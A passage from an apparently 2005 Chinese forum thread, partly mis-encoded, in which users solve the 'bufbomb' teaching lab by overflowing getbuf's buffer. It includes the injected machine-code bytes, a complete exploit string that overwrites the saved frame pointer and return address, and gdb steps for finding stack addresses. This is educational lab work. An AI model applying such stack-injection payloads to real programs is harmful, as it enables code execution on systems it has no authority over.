80484bf: 8d 45 e8 lea 0xffffffe8(%ebp),%eax
80484c5: 50 push %eax
可以看出,buf[]的地址為%ebp+0xffffffe8,即%ebp-24
從第一副圖中還可得,
movl $0xdeadbeef,%eax
pushl $0x080484e9
ret
所對(duì)應(yīng)的機(jī)器指令是
b8 ef be ad de
68 e9 84 04 08
c3
這段機(jī)器代碼應(yīng)該沒(méi)有問(wèn)題(因?yàn)榈诙眻D中所示的試驗(yàn)是成功的),
但當(dāng)getbuf試圖返回buf[]處執(zhí)行時(shí),發(fā)生了segmentation fault, 大家覺(jué)得這是什么原因呢?



converse 回復(fù)于:2005-02-18 10:36:25 我大概知道你是哪里出錯(cuò)了--順序問(wèn)題,應(yīng)該是從高到低來(lái)存放你的機(jī)器指令,而你原來(lái)是從低到高來(lái)存放的,暫時(shí)還沒(méi)有時(shí)間實(shí)踐,看你一直在線,怕你等久了,先回復(fù)這些,等會(huì)我自己試試看.
zne 回復(fù)于:2005-02-18 10:49:20 呵呵很感謝了,困擾了我近一個(gè)月^^,我白天也沒(méi)法試,還得等晚上回家才能試,
不過(guò)我試過(guò)如果機(jī)器指令全換成0X90(nop, no operation 空操作的話),還是會(huì)在getbuf的ret處出segmentation fault的,好像就沒(méi)有成功跳去buf[]地址,對(duì)于處理器和內(nèi)存操作,很多基本概念我還都不清楚
aero 回復(fù)于:2005-02-18 11:18:22 大致看了一下,發(fā)現(xiàn)有以下問(wèn)題:
>>前面大家都是修改了test的返回地址,修改getbuf的返回地址大家覺(jué)得可以么?
都是修改的getbuf的返回地址。】梢钥纯次业腷log上的一篇詳細(xì)分析,一種方法是修改getbuf的返回地址并修改val的值。另一種方法是修改getbuf的返回地址并修改test種的ebp使改變val的位置使之與buf重合。
>>我的想法是應(yīng)該可以在gdb下運(yùn)行bufbomb程序,在getbuf處設(shè)斷點(diǎn),當(dāng)運(yùn)行到getbuf時(shí)
>>print /x $ebp
>>得到getbuf frame pointer值
打印出的ebp是test中的ebp值,不是getbuf中的ebp值,要用s執(zhí)行一下后才是。因?yàn)檫@個(gè)時(shí)候還沒(méi)有執(zhí)行movl %esp, %ebp這條指令。


   本篇文章共13頁(yè),此頁(yè)為第11頁(yè)   上一頁(yè)   下一頁(yè)





>>大家覺(jué)得這個(gè)方法可不可能行得通?我試過(guò)將return address覆蓋為任意一條已編譯好的instruction的地址,能夠成功。但將return address覆蓋為buf[]地址的話,就會(huì)在getbuf ret回test時(shí)發(fā)生segmentation fault.這里為什么會(huì)發(fā)生segmentation fault?怎么才能夠ret回這個(gè)stack frame部分呢?
正如converse說(shuō)的,堆棧的地址是從高到低的,而指令的執(zhí)行是從低到高的。將返回地址覆蓋成buf地址后,由于buf中全是空指令,不會(huì)有什么問(wèn)題。但是,堆棧的上面是存儲(chǔ)的test中的ebp的值,這個(gè)值一般并不會(huì)是一個(gè)可以執(zhí)行的機(jī)器指令,或者是取什么地址了吧?反正就是fault了。^_^,猜的。
zne 回復(fù)于:2005-02-18 11:41:48 to aero:
一 呵呵不好意思,看錯(cuò)啦
二 從到達(dá)斷點(diǎn)時(shí)的提示信息來(lái)看,此時(shí)程序停在0x080484bf處(下一條要執(zhí)行的指令是0x080484bf處的指令),這時(shí)打印出的ebp感覺(jué)就是getbuf的frame pointer值(%ebp),因?yàn)?x080484bd處的指令movl %esp, %ebp 應(yīng)該已經(jīng)執(zhí)行了,從圖中打印出的(%ebp+4)地址處的內(nèi)容也可以看出(打印出的就是getbuf返回test的return address 0x80484e9)
三 關(guān)于機(jī)器指令的排列順序,我感覺(jué)第三個(gè)圖中的排列順序應(yīng)該是對(duì)的,不過(guò)由于讓程序轉(zhuǎn)去執(zhí)行buf[]中的內(nèi)容這個(gè)嘗試總不成功,也不好說(shuō),也可能是錯(cuò)的。不過(guò)感覺(jué)如果指令排列順序錯(cuò)了,不應(yīng)該會(huì)在getbuf的ret語(yǔ)句處就出現(xiàn)segmentation fault吧,感覺(jué)ret "buf地址" 時(shí)系統(tǒng)就取不到buf[]地址處的內(nèi)容似的...
由于原題目(前面貼出了)中提示說(shuō)讓在buf[]中輸入機(jī)器指令,覺(jué)得這個(gè)做法(修改getbuf返回地址,讓程序轉(zhuǎn)去執(zhí)行buf[]中內(nèi)容的方法)應(yīng)該是對(duì)的。但不知道為什么實(shí)現(xiàn)不了...
converse 回復(fù)于:2005-02-18 11:43:28 我試了N次,覺(jué)得理論上應(yīng)該是沒(méi)有問(wèn)題的,可是就是不行.

zne的思路是往緩沖區(qū)寫如如下的代碼:
[code:1:ab4b9ff31f]
asm("movl $0xdeadbeef,%eax");
asm("pushl $0x080484e9");
asm("ret");
[/code:1:ab4b9ff31f]
其中的$0x080484e9具體情況下不盡相同,這個(gè)是test函數(shù)在調(diào)用完getbuf以后下一條指令的地址,就是說(shuō)他的想法是在test函數(shù)中插入
movl $0xdeadbeef,%eax
這條指令.
上面這三條匯編碼的機(jī)器指令是:
[code:1:ab4b9ff31f]
b8 ef be ad de
68 e9 84 04 08
c3
[/code:1:ab4b9ff31f]
所以只需要往緩沖區(qū)里寫入這三條機(jī)器碼然后把getbuf的返回地址改為這三個(gè)機(jī)器碼的起始位置就可以了,我原來(lái)認(rèn)為他把機(jī)器碼的順序?qū)懛戳?可是我自己寫了寫還是不行..........
aero 回復(fù)于:2005-02-18 14:23:02 看了,converse的解釋,明白了。好!又是一種思路!
試驗(yàn)成功了!不知道你們錯(cuò)哪里的。仔細(xì)做應(yīng)該沒(méi)問(wèn)題的,思路是對(duì)的。我也做了好久,后來(lái)發(fā)現(xiàn)把一個(gè)e8寫成f8了。
另外,發(fā)現(xiàn)gdb中,用b getbuf和b 38(用行號(hào))設(shè)置的斷點(diǎn)是不一樣的,后者設(shè)置的就是沒(méi)執(zhí)行pushl %ebp指令的,而前者就是執(zhí)行了的。
zne 回復(fù)于:2005-02-18 14:33:06 成功了^_^ 好啊好阿,幫我看看吧
就是我貼的第一副截圖和第三副截圖,看第三副截圖的操作有什么錯(cuò)誤么,是不是機(jī)器指令順序錯(cuò)了呢?
我照第三幅圖的做法試過(guò)挺多次的了... 各種地址和指令應(yīng)該都沒(méi)錯(cuò)的
converse 回復(fù)于:2005-02-18 14:51:47 aero截圖來(lái)說(shuō)明,夾敘夾議帶抒情的那種:)
aero 回復(fù)于:2005-02-18 15:39:10 我的填充串是這樣的:b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 e8 ef ff bf c0 ef ff bf


   本篇文章共13頁(yè),此頁(yè)為第12頁(yè)   上一頁(yè)   下一頁(yè)





1、前11個(gè)字節(jié)就是那三條指令,而指令的地址也正是用objdump看出來(lái)的,這里是080484bf。
2、后面的13個(gè)字節(jié)是buf中剩余的字節(jié)和gcc為了對(duì)齊(也許不全是,因?yàn)檎樟?2個(gè)字節(jié)不使用)而空出來(lái)的12個(gè)字節(jié)。
3、接下來(lái)的4個(gè)字節(jié)就是原來(lái)堆棧里的ebp(test函數(shù)的STP的ebp,就是getbuf函數(shù)開始push進(jìn)去的ebp)。
4、然后的4個(gè)字節(jié)就是getbuf返回的eip,修改它,將它修改成buf的起始地址,這個(gè)是通過(guò)在gdb中使用p &buf命令看出來(lái)的(這個(gè)地方還有一個(gè)問(wèn)題不明白,一會(huì)說(shuō))。
5、后面的4個(gè)字節(jié)是同2一樣的無(wú)用空間。然后的4個(gè)字節(jié)就是val了。由于getxs函數(shù)會(huì)在buf的末尾加上一個(gè)'\0',所以將這個(gè)'\0'放在這個(gè)無(wú)用的空間是無(wú)害的。
整個(gè)填充串就這樣完成了。
我開始的時(shí)候把3中的ebp搞錯(cuò)了,搞了好常時(shí)間沒(méi)出來(lái)。后來(lái)用gdb的x命令觀察堆棧,并單步執(zhí)行,發(fā)現(xiàn)ebp的值不是我原來(lái)的那個(gè)了(寫blog上那篇文章中的時(shí)候),和那個(gè)不一樣了。^_^,偷懶偷不得啊!
zne 回復(fù)于:2005-02-18 19:52:06 >>我的填充串是這樣的:b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 e8 ef ff bf c0 ef ff bf
b8 ef be ad de 68 bf 84 04 08 c3 00 01 02 03 04 05 06 07 08 09 10 11 12 這部分沒(méi)意見(jiàn),下面的test的frame pointer我覺(jué)得我輸入的也是對(duì)的(不過(guò)這里有個(gè)問(wèn)題,一會(huì)會(huì)提到),關(guān)鍵就在buf[]的地址上,是怎么來(lái)得到的?
我就是在運(yùn)行到getbuf的斷點(diǎn)時(shí)(此時(shí)已執(zhí)行了push %ebp和movl %esp,%ebp)
print /x ($ebp-24) 來(lái)得到buf[]地址的,我感覺(jué)應(yīng)該也沒(méi)有錯(cuò)
但是有一個(gè)問(wèn)題,我看有一些書里寫對(duì)每個(gè)linux程序來(lái)說(shuō),代碼段都從0x08048000開始,stack frame段都從0xbfffffff開始,
aero得到的test 的frame pointer是0xbfffefe8,buf[]地址是0xbfffefc0,顯然是符合這個(gè)說(shuō)法的
而我打印出的test 的frame pointer是0xfeeb7ff8,buf[]地址是0xfeeb7fc0,跟書上的說(shuō)法不符,都比0xbfffffff大出很多... 不知道converse你的情況怎么樣?
我的系統(tǒng)是fedora core 2,去年10月買的,就圖書城里買的那種9張cd一張dvd的那種,有沒(méi)有可能是這個(gè)系統(tǒng)不許程序執(zhí)行數(shù)據(jù)段,尤其是堆棧段的內(nèi)容呢?



aero 回復(fù)于:2005-02-18 22:10:51 >>我就是在運(yùn)行到getbuf的斷點(diǎn)時(shí)(此時(shí)已執(zhí)行了push %ebp和movl %esp,%ebp) print /x ($ebp-24) 來(lái)得到buf[]地址的,我感覺(jué)應(yīng)該也沒(méi)有錯(cuò) 的確,感覺(jué)這樣也沒(méi)有錯(cuò)。『呛,今天上班有點(diǎn)忙,就沒(méi)多看,明天到公司在看看。 另外,我說(shuō)的那個(gè)問(wèn)題就是:當(dāng)用b 38(行號(hào))設(shè)置斷點(diǎn)的時(shí)候,r到這里的時(shí)候是剛剛執(zhí)行完畢call指令(可以用x命令看堆?闯鰜(lái))。在這個(gè)時(shí)候執(zhí)行p &buf得出的地址值并不是buf的真實(shí)地址。而n了一步以后,就實(shí)執(zhí)行了建立getbuf函數(shù)的STP后執(zhí)行p &buf得出的才實(shí)真是的buf地址。不知道為什么。那么前面的那個(gè)buf是哪個(gè)buf呢?如果沒(méi)有可見(jiàn)的變量,gdb應(yīng)該報(bào)變量未知啊,而它卻打出了數(shù)值。

分享到:  QQ好友和群QQ好友和群 QQ空間QQ空間 騰訊微博騰訊微博 騰訊朋友騰訊朋友
收藏收藏 分享淘帖 頂 踩
回復(fù)

使用道具 舉報(bào)

本版積分規(guī)則

小黑屋|51黑電子論壇 |51黑電子論壇6群 QQ 管理員QQ:125739409;技術(shù)交流QQ群281945664

Powered by 單片機(jī)教程網(wǎng)

快速回復(fù) 返回頂部 返回列表